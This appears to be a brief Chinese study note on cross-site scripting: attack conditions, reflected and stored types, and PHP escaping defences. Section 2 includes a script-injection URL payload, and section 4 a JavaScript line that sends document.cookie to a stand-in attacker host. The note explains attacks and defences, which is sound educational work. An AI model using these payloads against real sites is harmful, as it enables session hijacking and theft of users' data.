XSS 攻击
参考:https://www.cnblogs.com/shawWey/p/8480452.html
1. 概述
XSS 攻击是 Web 攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效的 XSS 攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户日志等等,有时还和其他攻击方式同时实施,比如 SQL 注入攻击服务器和数据库,Click 劫持、相对连接劫持等实施钓鱼,它带来的危害是巨大的,是 web 安全的头号大敌。
2. 攻击的条件
实施 XSS 攻击需要具备两个条件:
1)需要向 web 页面注入恶意代码;
2)这些恶意代码能够被浏览器成功的执行。
如: http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="
最终反射出来的 HTML 代码:
<div>
<img src="" /><script>alert(/xss/)</script><br x="" />
<div>
3. 根据 XSS 攻击的效果可以分为几种类型
1)XSS 反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
2)XSS 存储型攻击,恶意代码被保存到目标网站的服务器 中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客、论坛等社交网站上。
4. XSS 攻击能做些什么
1)窃取 cookies,读取目标网站的 cookie 发送到黑客的服务器上,如下面的代码:
var i=document.createElement("img"); document.body.appendChild(i); i.src = "http://www.hackerserver.com/?c=" + document.cookie;
2)读取用户未公开的资料,如:邮件列表或者内容、系统的客户资料,联系人列表等
5. 解决方法
一种是在表单提交或者 url 参数传递前,对需要的参数进行过滤,请看如下 XSS 过滤代码
public class XssFiter implements Filter {}
另一种是过滤用户输入的,检查用户输入的内容中是否有非法内容,如 <> (尖括号)、" (引号)、'(单引号)、%(百分号)、;(分号)、&、+ 等,严格控制输出
可以利用下面这些函数对可疑参数处理
htmlspecialchars() 用于转义处理在页面上显示的文本
htmlentities() 用于转义处理在页面上显示的文本
strip_tag() 过滤输入输出里面的恶意标签
header() header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览器
urlencode() 用于输出处理字符型参数带入页面链接中
intval() 用于处理数值型参数输出在页面中
(这些方法都没见过。。。)